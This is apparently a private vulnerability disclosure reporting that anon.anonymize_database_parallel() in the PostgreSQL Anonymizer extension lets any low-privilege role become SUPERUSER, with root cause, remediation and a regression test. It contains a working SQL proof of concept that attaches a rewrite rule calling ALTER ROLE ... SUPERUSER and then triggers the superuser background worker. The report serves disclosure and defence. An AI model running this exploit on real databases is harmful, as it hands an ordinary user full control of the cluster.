Privilege escalation to superuser via anon.anonymize_database_parallel()

Summary

anon.anonymize_database_parallel() performs static masking inside background workers that connect as the bootstrap superuser. The function is executable by PUBLIC and has no ownership/superuser gate. Because the masking UPDATE runs as superuser, any rewrite RULE (or trigger) a caller attached to its own table is expanded and executed with superuser privileges. This lets any low-privilege role escalate to SUPERUSER.

Severity

Critical — full escalation from an ordinary login role to SUPERUSER.

Affected versions

Introduced with Parallel Static Masking in 3.0.1 (2026-02-11); still present in v3.1.3 (current). All releases shipping anon.anonymize_database_parallel() / the bgw_anon background worker.

Affected components

  • src/lib.rs → anon.anonymize_database_parallel() (launcher)
  • src/static_masking.rs → bgw_anon() worker; connect_worker_to_spi(Some(db), None)
  • sql/parallel_static_masking.sql

Prerequisites (all satisfiable by a low-privilege user)

  1. anon extension installed (install requires superuser, but the runtime function below is usable by others).
  2. Attacker is any login role able to create a table with a rule in a schema it owns (e.g. its own schema, or public where CREATE is granted).
  3. EXECUTE on anon.anonymize_database_parallel(int) — this is the PostgreSQL default PUBLIC grant; the extension does not REVOKE it (schema anon has USAGE granted to PUBLIC).
  4. Attacker can set a masking label on its own column (object owners may, by design), so its table appears in anon.pg_masking_rules.

Steps to reproduce

-- as superuser
CREATE EXTENSION anon;
CREATE USER hacker;
GRANT CREATE ON SCHEMA public TO hacker;

-- as hacker
SET ROLE hacker;
CREATE TABLE public.test (id int PRIMARY KEY, name text NOT NULL);

SECURITY LABEL FOR anon ON COLUMN public.test.name
  IS 'MASKED WITH FUNCTION anon.dummy_name()';

CREATE FUNCTION public.attack() RETURNS void LANGUAGE plpgsql AS $$
BEGIN
  ALTER ROLE hacker SUPERUSER;
END
$$;

-- Fire arbitrary SQL whenever public.test is UPDATEd
CREATE RULE audit AS ON UPDATE TO public.test DO ALSO SELECT public.attack();

-- Trigger the superuser background worker
SELECT anon.anonymize_database_parallel(1);

-- hacker is now SUPERUSER

Root cause

anonymize_database_parallel() launches background workers (bgw_anon) that call BackgroundWorker::connect_worker_to_spi(Some(db), None). Passing None for the username connects the worker as the bootstrap superuser. The worker then runs the static-masking statement, essentially:

UPDATE public.test SET name = anon.dummy_name();

Because this UPDATE runs with superuser authority, PostgreSQL expands the attacker-owned ON UPDATE rewrite rule as part of the same statement, so public.attack() executes as superuser.

The masking-expression validation (trusted-schema enforcement in check_function / the walker) is not a mitigation here: the injected code does not come from the MASKED WITH FUNCTION expression — it rides the rule/trigger expansion of the UPDATE statement itself. Triggers and ON INSERT/ON UPDATE rules on the masked table give the same primitive.

Contrast with the non-parallel path: anon.anonymize_table() / anon.anonymize_database() are SECURITY INVOKER, so their UPDATE runs as the caller and any attached rule/trigger fires only with the caller's own privileges — no boundary is crossed. The parallel worker breaks this invariant by running the same work as the bootstrap superuser.

Impact

Any authenticated user meeting the prerequisites gains SUPERUSER, i.e. full control of the database cluster (and, via superuser, code execution as the OS postgres account on typical installs).

Suggested remediation

1. Stop running the masking as the bootstrap superuser

  • Run as the caller of anonymize_database_parallel() This faithfully restores the SECURITY INVOKER semantics of the serial anonymize_database():
    • ACL checks run against the caller, so it can only affect tables it could already write — no authorization bypass.
    • An attacker rule fires as the (low-privilege) caller, so the caller gains nothing — the PoC breaks.
    • Residual risk equals the serial path exactly: if an admin deliberately runs it while an attacker rule exists, that rule runs as the admin — the same, already-documented behavior as anonymize_database() / any UPDATE.

2. Gate the entry point (defense in depth)

Require the caller of anonymize_database_parallel() to be a superuser (or a designated admin role), and/or REVOKE EXECUTE ... FROM PUBLIC on it — static masking is an administrative operation.

3. Optional hardening

Refuse to statically mask a relation that carries non-owner rules/triggers, or disable rule/trigger firing for the internally generated masking statements.

Suggested regression test

The PoC above: a non-superuser with an ON UPDATE rule that calls a privilege-changing function must not become superuser (and, with fix #2 (closed), the call should be rejected with insufficient_privilege).

Disclosure

Reported privately per your project's contact channel. Happy to coordinate a fix, review a patch, and align on CVE assignment.

Edited by Alexander Kukushkin